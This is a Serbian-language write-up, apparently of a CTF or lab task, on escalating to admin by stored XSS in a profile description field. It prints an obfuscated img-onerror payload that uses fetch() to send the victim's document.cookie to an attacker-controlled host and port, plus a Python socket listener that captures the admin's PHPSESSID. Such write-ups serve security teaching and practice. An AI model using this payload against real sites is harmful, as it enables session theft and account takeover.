

Admin Privilege Escalation

Faza 1 je uspešno završena i sada imamo pristup aplikaciji sa privilegijama običnog korisnika. Naš sledeći cilj je eskalacija privilegija i preuzimanje administratorske sesije (admin cookie), kako bismo mogli da pređemo u finalnu fazu napada (RCE).

Prilikom analize aplikacije, utvrđeno je da stranica za uređivanje profila (`profile.php`) ne vrši adekvatnu sanitizaciju korisničkog unosa u polju za opis korisnika (description). Ovo nam omogućava izvršavanje **Stored XSS (Cross-Site Scripting)** napada, jer se svaki uneti HTML i JavaScript kod trajno čuva u bazi i prikazuje svakom posetiocu profila.

U našoj skripti kreiramo maliciozni payload koji će ukrasti kolačić:

```
b64 = base64.b64encode(f"fetch('http://{LHOST}:\n{LPORT}'+btoa(document.cookie)).encode()).decode()\npayload = f"<img src=x onerror='eval(atob(`{b64}`))' />"
```

Ovaj payload funkcioniše na sledeći način:

- Kreiramo HTML `<img>` tag sa namerno nepostojećim izvorom slike (`src=x`), što automatski okida `onerror` atribut.
- Unutar `onerror` atributa izvršavamo dekodirani JavaScript kod pomoću `eval(atob(...))` kako bismo izbegli filtriranje specijalnih karaktera.
- Kada se okine, JavaScript koristi `fetch()` API da pročita kolačiće žrtve (`document.cookie`), kodira ih u Base64 format i prosledi u vidu GET zahteva ka našoj mašini.

Nakon što našim skriptom postavimo ovaj opis, na našoj mašini podižemo mrežni socket (listener) koji osluškuje na portu 8001:

```
s = socket.socket()\ns.bind((LHOST, LPORT))\ns.listen(1)
```

Kada automatizovani bot (administrator) poseti stranicu sa našim korisničkim profilom, XSS kod se izvršava u njegovom pregledaču. Na naš lokalni port pristiže HTTP zahtev sa podacima njegove sesije.

Naša skripta prihvata konekciju, pronalazi Base64 kodirani string iz zahteva, dekodira ga i na taj način uspešno presreće **PHPSESSID** kolačić administratora. Sa ukradenim administratorskim kolačićem, Faza 2 je uspešno završena i podatke prosleđujemo trećem članu tima za RCE deo zadatka.